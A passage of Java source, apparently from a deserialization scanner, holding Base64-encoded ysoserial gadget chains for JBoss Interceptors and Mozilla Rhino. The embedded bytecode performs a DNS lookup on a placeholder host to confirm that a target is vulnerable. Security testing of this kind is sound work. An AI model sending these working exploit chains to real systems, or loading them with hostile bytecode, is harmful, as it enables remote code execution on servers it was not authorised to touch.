AABABMANAAAAAAAAQAaABsAAQAAAAEAHwAgAAIAAAABACEAIgADAAgAKQANAAEADgAAACEAAgACAAAADKcAAwFMEiu4ADFXsQAAAAEAMgAAAAMAAQMAAgAjAAAAAgAkACUAAAAKAAEAAQAmACgACXVxAH4ARQAAAdTK/rq+AAAAMgAbBwACAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28HAAQBABBqYXZhL2xhbmcvT2JqZWN0BwAGAQAUamF2YS9pby9TZXJpYWxpemFibGUBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlCgADABAMAAwADQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQEADElubmVyQ2xhc3NlcwcAGQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMBAANGb28AIQABAAMAAQAFAAEAGgAHAAgAAQAJAAAAAgAKAAEAAQAMAA0AAQAOAAAALwABAAEAAAAFKrcAD7EAAAACABEAAAAGAAEAAAA8ABIAAAAMAAEAAAAFABMAFAAAAAIAFQAAAAIAFgAXAAAACgABAAEAGAAaAAlwdAAEUHducnB3AQB4eHNyAEBvcmcuamJvc3Mud2VsZC5pbnRlcmNlcHRvci5wcm94eS5EZWZhdWx0SW52b2NhdGlvbkNvbnRleHRGYWN0b3J5x1EPxozoO8cCAAB4cHNxAH4ADQFzcQB+ABA/QAAAAAAAAHcIAAAAEAAAAAB4c3EAfgAocQB+ACxzcQB+ABA/QAAAAAAADHcIAAAAEAAAAAF0AAl5c29zZXJpYWxxAH4AT3h4"));
        payloadsDNS.put("JBoss Interceptors (DNS)", Base64.decodeBase64("rO0ABXNyADRvcmcuamJvc3MuaW50ZXJjZXB0b3IucHJveHkuSW50ZXJjZXB0b3JNZXRob2RIYW5kbGVyhzpK93HCg8oDAAVMABFpbnRlcmNlcHRpb25Nb2RlbHQAM0xvcmcvamJvc3MvaW50ZXJjZXB0b3Ivc3BpL21vZGVsL0ludGVyY2VwdGlvbk1vZGVsO0wAG2ludGVyY2VwdG9ySGFuZGxlckluc3RhbmNlc3QAD0xqYXZhL3V0aWwvTWFwO0wAGGludm9jYXRpb25Db250ZXh0RmFjdG9yeXQAPExvcmcvamJvc3MvaW50ZXJjZXB0b3Ivc3BpL2NvbnRleHQvSW52b2NhdGlvbkNvbnRleHRGYWN0b3J5O0wAHnRhcmdldENsYXNzSW50ZXJjZXB0b3JNZXRhZGF0YXQAOExvcmcvamJvc3MvaW50ZXJjZXB0b3Ivc3BpL21ldGFkYXRhL0ludGVyY2VwdG9yTWV0YWRhdGE7TAAOdGFyZ2V0SW5zdGFuY2V0ABJMamF2YS9sYW5nL09iamVjdDt4cHNyADNvcmcuamJvc3MuaW50ZXJjZXB0b3IuYnVpbGRlci5JbnRlcmNlcHRpb25Nb2RlbEltcGzUlOFQ4rjbIAIABUwAD2FsbEludGVyY2VwdG9yc3QAD0xqYXZhL3V0aWwvU2V0O0wAEmdsb2JhbEludGVyY2VwdG9yc3EAfgACTAARaW50ZXJjZXB0ZWRFbnRpdHlxAH4ABUwAF21ldGhvZEJvdW5kSW50ZXJjZXB0b3JzcQB+AAJMABZtZXRob2RzSWdub3JpbmdHbG9iYWxzcQB+AAh4cHNyABdqYXZhLnV0aWwuTGlua2VkSGFzaFNldNhs11qV3SoeAgAAeHIAEWphdmEudXRpbC5IYXNoU2V0ukSFlZa4tzQDAAB4cHcMAAAAED9AAAAAAAABc3IANm9yZy5qYm9zcy5pbnRlcmNlcHRvci5yZWFkZXIuU2ltcGxlSW50ZXJjZXB0b3JNZXRhZGF0YQAEbiYyzfCLAgADWgALdGFyZ2V0Q2xhc3NMABRpbnRlcmNlcHRvck1ldGhvZE1hcHEAfgACTAAUaW50ZXJjZXB0b3JSZWZlcmVuY2V0ADlMb3JnL2pib3NzL2ludGVyY2VwdG9yL3NwaS9tZXRhZGF0YS9JbnRlcmNlcHRvclJlZmVyZW5jZTt4cAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAX5yADBvcmcuamJvc3MuaW50ZXJjZXB0b3Iuc3BpLm1vZGVsLkludGVyY2VwdGlvblR5cGUAAAAAAAAAABIAAHhyAA5qYXZhLmxhbmcuRW51bQAAAAAAAAAAEgAAeHB0AA1QT1NUX0FDVElWQVRFc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAF3BAAAAAFzcgBab3JnLmpib3NzLmludGVyY2VwdG9yLnJlYWRlci5EZWZhdWx0TWV0aG9kTWV0YWRhdGEkRGVmYXVsdE1ldGhvZE1ldGFkYXRhU2VyaWFsaXphdGlvblByb3h51XlJT5t90soCAAJMAA9tZXRob2RSZWZlcmVuY2V0AC9Mb3JnL2pib3NzL2ludGVyY2VwdG9yL2J1aWxkZXIvTWV0aG9kUmVmZXJlbmNlO0wAGnN1cHBvcnRlZEludGVyY2VwdGlvblR5cGVzcQB+AAh4cHNyAExvcmcuamJvc3MuaW50ZXJjZXB0b3IuYnVpbGRlci5NZXRob2RSZWZlcmVuY2UkTWV0aG9kSG9sZGVyU2VyaWFsaXphdGlvblByb3h51Gpg9Ek+fdICAANMAAljbGFzc05hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMAAptZXRob2ROYW1lcQB+ABxbABNwYXJhbWV0ZXJDbGFzc05hbWVzdAATW0xqYXZhL2xhbmcvU3RyaW5nO3hwdAA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbHQADm5ld1RyYW5zZm9ybWVydXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAHNxAH4AC3cMAAAAED9AAAAAAAABcQB+ABR4eHhzcgA+b3JnLmpib3NzLmludGVyY2VwdG9yLnJlYWRlci5DbGFzc01ldGFkYXRhSW50ZXJjZXB0b3JSZWZlcmVuY2XLg7O++Tsw/gIAAUwADWNsYXNzTWV0YWRhdGF0ADJMb3JnL2pib3NzL2ludGVyY2VwdG9yL3NwaS9tZXRhZGF0YS9DbGFzc01ldGFkYXRhO3hwc3IANG9yZy5qYm9zcy5pbnRlcmNlcHRvci5yZWFkZXIuUmVmbGVjdGl2ZUNsYXNzTWV0YWRhdGHjA4U/92xOvgIAAUwABWNsYXp6dAARTGphdmEvbGFuZy9DbGFzczt4cHZxAH4AEHhzcQB+ABA/QAAAAAAADHcIAAAAEAAAAAZ+cQB+ABJ0AA5BUk9VTkRfVElNRU9VVHNxAH4AFgAAAAF3BAAAAAFxAH4AD3h+cQB+ABJ0AA1QUkVfUEFTU0lWQVRFc3EAfgAWAAAAAXcEAAAAAXEAfgAPeH5xAH4AEnQADlBPU1RfQ09OU1RSVUNUc3EAfgAWAAAAAXcEAAAAAXEAfgAPeH5xAH4AEnQADUFST1VORF9JTlZPS0VzcQB+ABYAAAABdwQAAAABcQB+AA94fnEAfgASdAALUFJFX0RFU1RST1lzcQB+ABYAAAABdwQAAAABcQB+AA94cQB+ABRzcQB+ABYAAAABdwQAAAABcQB+AA94eHEAfgAqc3EAfgAQP0AAAAAAAAB3CAAAABAAAAAAeHNxAH4AC3cMAAAAED9AAAAAAAAAeHNxAH4AED9AAAAAAAAMdwgAAAAQAAAAAXEAfgAPc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAcTAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF/gGCFTgAgAAeHAAAAZ0yv66vgAAADIANQcAMwEAM3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAcABAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHAAYBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQWtIJPzkd3vPgEABjxpbml0PgEAAygpVgEABENvZGUKAAMAEAwADAANAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEANUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAKRXhjZXB0aW9ucwcAGQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEBAAxJbm5lckNsYXNzZXMHACcBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQATU3R1YlRyYW5zbGV0UGF5bG9hZAEACDxjbGluaXQ+AQAFWFhYWFgIACoBABRqYXZhL25ldC9JbmV0QWRkcmVzcwcALAEACWdldEJ5TmFtZQEAKihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbmV0L0luZXRBZGRyZXNzOwwALgAvCgAtADABAA1TdGFja01hcFRhYmxlAQAeeXNvc2VyaWFsL1B3bmVyMjAzMjg5NzMwNzg0MzAwAQAgTHlzb3NlcmlhbC9Qd25lcjIwMzI4OTczMDc4NDMwMDsAIQABAAMAAQAFAAEAGgAHAAgAAQAJAAAAAgAKAAQAAQAMAA0AAQAOAAAALwABAAEAAAAFKrcAD7EAAAACABEAAAAGAAEAAAAvABIAAAAMAAEAAAAFABMANAAAAAEAFQAWAAIAFwAAAAQAAQAYAA4AAAA/AAAAAwAAAAGxAAAAAgARAAAABgABAAAANAASAAAAIAADAAAAAQATADQAAAAAAAEAGgAbAAEAAAABABwAHQACAAEAFQAeAAIAFwAAAAQAAQAYAA4AAABJAAAABAAAAAGxAAAAAgARAAAABgABAAAAOAASAAAAKgAEAAAAAQATADQAAAAAAAEAGgAbAAEAAAABAB8AIAACAAAAAQAhACIAAwAIACkADQABAA4AAAAhAAIAAgAAAAynAAMBTBIruAAxV7EAAAABADIAAAADAAEDAAIAIwAAAAIAJAAlAAAACgABAAEAJgAoAAl1cQB+AEYAAAHUyv66vgAAADIAGwcAAgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vBwAEAQAQamF2YS9sYW5nL09iamVjdAcABgEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQoAAwAQDAAMAA0BAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEBAAxJbm5lckNsYXNzZXMHABkBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQADRm9vACEAAQADAAEABQABABoABwAIAAEACQAAAAIACgABAAEADAANAAEADgAAAC8AAQABAAAABSq3AA+xAAAAAgARAAAABgABAAAAPAASAAAADAABAAAABQATABQAAAACABUAAAACABYAFwAAAAoAAQABABgAGgAJcHQABFB3bnJwdwEAeHhzcgA7b3JnLmpib3NzLmludGVyY2VwdG9yLnByb3h5LkRlZmF1bHRJbnZvY2F0aW9uQ29udGV4dEZhY3RvcnlBTpb2aXdaYQIAAHhwc3EAfgANAXNxAH4AED9AAAAAAAAAdwgAAAAQAAAAAHhzcQB+ACRxAH4AKXNxAH4AED9AAAAAAAAMdwgAAAAQAAAAAXQACXlzb3NlcmlhbHEAfgBQeHg="));
        payloadsDNS.put("Mozilla Rhino (DNS)", Base64.decodeBase64("rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAnNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAP3QAIHlzb3NlcmlhbC5wYXlsb2Fkcy5Nb3ppbGxhUmhpbm8xdAASTW96aWxsYVJoaW5vMS5qYXZhdAAJZ2V0T2JqZWN0c3EAfgALAAAAO3QAGXlzb3NlcmlhbC5HZW5lcmF0ZVBheWxvYWR0ABRHZW5lcmF0ZVBheWxvYWQuamF2YXQABG1haW5zcgAmamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUxpc3T8DyUxteyOEAIAAUwABGxpc3RxAH4AB3hyACxqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlQ29sbGVjdGlvbhlCAIDLXvceAgABTAABY3QAFkxqYXZhL3V0aWwvQ29sbGVjdGlvbjt4cHNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAAAdwQAAAAAeHEAfgAZeHNyACJvcmcubW96aWxsYS5qYXZhc2NyaXB0Lk5hdGl2ZUVycm9yteolIb5Jzn0CAAB4cgApb3JnLm1vemlsbGEuamF2YXNjcmlwdC5JZFNjcmlwdGFibGVPYmplY3QqK2/ILmIXowMAAHhyACdvcmcubW96aWxsYS5qYXZhc2NyaXB0LlNjcmlwdGFibGVPYmplY3RlzhRyj8QY5AMABEkABWNvdW50TAAQYXNzb2NpYXRlZFZhbHVlc3QAD0xqYXZhL3V0aWwvTWFwO0wAEXBhcmVudFNjb3BlT2JqZWN0dAAjTG9yZy9tb3ppbGxhL2phdmFzY3JpcHQvU2NyaXB0YWJsZTtMAA9wcm90b3R5cGVPYmplY3RxAH4AHnhwAAAAAnBwc3IAJ29yZy5tb3ppbGxhLmphdmFzY3JpcHQuTmF0aXZlSmF2YU9iamVjdJ+RpZ41xDHhAwACTAAGcGFyZW50cQB+AB5MAAlwcm90b3R5cGVxAH4AHnhwc3IAI29yZy5tb3ppbGxhLmphdmFzY3JpcHQuTmF0aXZlT2JqZWN0p/DyKv+XugwCAAB4cQB+ABsAAAA3c3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAADHcIAAAAEAAAAAR0AA1MSUJSQVJZX1NDT1BFcQB+ACN0AAhJdGVyYXRvcnNyADNvcmcubW96aWxsYS5qYXZhc2NyaXB0Lk5hdGl2ZUl0ZXJhdG9yJFN0b3BJdGVyYXRpb24ifQe+3aidvwIAAHhxAH4AIgAAAABwcQB+ACNzcQB+ACIAAAAAcHEAfgAjcHcEAAAAAHh3BAAAAAx4dwQAAAAAeHcEAAAAAHh0AApDbGFzc0NhY2hlc3IAIW9yZy5tb3ppbGxhLmphdmFzY3JpcHQuQ2xhc3NDYWNoZYT0xDSW3B8pAgACWgAQY2FjaGluZ0lzRW5hYmxlZEkAFGdlbmVyYXRlZENsYXNzU2VyaWFseHABAAAAAHQACUdlbmVyYXRvcnNyACZvcmcubW96aWxsYS5qYXZhc2NyaXB0Lk5hdGl2ZUdlbmVyYXRvchbXYnRuxSLJAgAGWgAJZmlyc3RUaW1lSQAKbGluZU51bWJlcloABmxvY2tlZEwACGZ1bmN0aW9udAAnTG9yZy9tb3ppbGxhL2phdmFzY3JpcHQvTmF0aXZlRnVuY3Rpb247TAAKbGluZVNvdXJjZXEAfgAF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" + 
        				"NxAH4AQHcEAAAABXNxAH4AMgAAADN6i3EAfgBCcQB+AJx4dwQAAAAAeAAAAAEAAAAOAXEAfgCccQB+AFFxAH4AUnNxAH4AMgAC8BaIHHQACFVSSUVycm9yc3EAfgA1AAAAAHBxAH4AI3B3BAAAAAB4dwQAAAAAeAAAAAdzcQB+ABoAAAABcHEAfgAjcQB+AEB3BAAAAAVzcQB+ADIAAAAzeotxAH4AQnEAfgCheHcEAAAAAHgAAAABAAAADgFxAH4AoXEAfgBRcQB+AFJzcQB+ADIAApsQ+St0AA1JbnRlcm5hbEVycm9yc3EAfgA1AAAAAHBxAH4AI3B3BAAAAAB4dwQAAAAAeAAAAAdzcQB+ABoAAAABcHEAfgAjcQB+AEB3BAAAAAVzcQB+ADIAAAAzeotxAH4AQnEAfgCmeHcEAAAAAHgAAAABAAAADgFxAH4ApnEAfgBRcQB+AFJzcQB+ADIAAt0vvC10AA1KYXZhRXhjZXB0aW9uc3EAfgA1AAAAAHBxAH4AI3B3BAAAAAB4dwQAAAAAeAAAAAdzcQB+ABoAAAABcHEAfgAjcQB+AEB3BAAAAAVzcQB+ADIAAAAzeotxAH4AQnEAfgCreHcEAAAAAHgAAAABAAAADgFxAH4Aq3EAfgBRcQB+AFJzcQB+ADIAAgPJgjl0AAVBcnJheXNxAH4ANQAAABFwcQB+ACNwdwQAAAAXc3EAfgAyAAIAMd0qdAAEam9pbnNxAH4ANQAAAABwcQB+ACNwdwQAAAAAeHcEAAAAAHgAAAAEcAAAAAL////7AHEAfgCzc3IAIm9yZy5tb3ppbGxhLmphdmFzY3JpcHQuTmF0aXZlQXJyYXllvj9QVdt8agIAA1oACWRlbnNlT25seUoABmxlbmd0aFsABWRlbnNldAATW0xqYXZhL2xhbmcvT2JqZWN0O3hxAH4AGwAAAABwcQB+ACNxAH4AKncEAAAAAHh3BAAAABV4AQAAAAAAAAAAdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAACnNyACBvcmcubW96aWxsYS5qYXZhc2NyaXB0LlVuaXF1ZVRhZ8QKTHUXyeaVAgABSQAFdGFnSWR4cAAAAAFxAH4Au3EAfgC7cQB+ALtxAH4Au3EAfgC7cQB+ALtxAH4Au3EAfgC7cQB+ALtxAH4AsHNxAH4AMgACQY5S4nQAB3JldmVyc2VzcQB+ADUAAAAAcHEAfgAjcHcEAAAAAHh3BAAAAAB4AAAABHAAAAAB////+gBxAH4AvXEAfgC3cQB+ALBzcQB+ADIAAgA19Z50AARzb3J0c3EAfgA1AAAAAHBxAH4AI3B3BAAAAAB4dwQAAAAAeAAAAARwAAAAAv////kAcQB+AMBxAH4At3EAfgCwc3EAfgAyAAIANK8adAAEcHVzaHNxAH4ANQAAAABwcQB+ACNwdwQAAAAAeHcEAAAAAHgAAAAEcAAAAAL////4AHEAfgDDcQB+ALdxAH4AsHNxAH4AMgACAAGyUXQAA3BvcHNxAH4ANQAAAABwcQB+ACNwdwQA